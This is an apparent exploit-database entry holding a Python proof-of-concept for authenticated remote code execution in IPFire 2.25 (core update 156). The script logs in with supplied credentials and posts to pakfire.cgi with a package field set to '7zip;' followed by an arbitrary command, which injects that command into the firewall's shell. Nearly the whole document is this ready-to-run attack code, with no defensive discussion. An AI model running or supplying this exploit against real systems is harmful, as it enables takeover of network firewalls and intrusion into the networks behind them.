IPFire 2.25 Remote Code Execution

`# Exploit Title: IPFire 2.25 - Remote Code Execution (Authenticated)  
# Date: 15/05/2021  
# Exploit Author: Mücahit Saratar  
# Vendor Homepage: https://www.ipfire.org/  
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.25-core156/ipfire-2.25.x86_64-full-core156.iso  
# Version: 2.25 - core update 156  
# Tested on: parrot os 5.7.0-2parrot2-amd64  
  
#!/usr/bin/python3  
  
import requests as R  
import sys  
import base64  
  
try:  
host = sys.argv[1]  
assert host[:4] == "http" and host[-1] != "/"  
url = host + "/cgi-bin/pakfire.cgi"  
username = sys.argv[2]  
password = sys.argv[3]  
komut = sys.argv[4]  
except:  
print(f"{sys.argv[0]} http://target.com:444 username password command")  
exit(1)  
  
veri = {   
"INSPAKS": f"7zip;{komut}",  
"ACTION":"install",  
"x": "10",  
"y": "6" }  
token = b"Basic " + base64.b64encode(f"{username}:{password}".encode())  
header = {"Authorization": token,  
"Connection": "close",  
"Cache-Control": "max-age=0",  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",  
"Origin": host,  
"Sec-GPC": "1",  
"Sec-Fetch-Site": "same-origin",  
"Sec-Fetch-Mode": "navigate",  
"Sec-Fetch-User": "?1",  
"Sec-Fetch-Dest": "document",  
"Referer": host}  
  
  
R.post(url, data=veri, headers=header, verify=False)  
print("Done.")  
  
`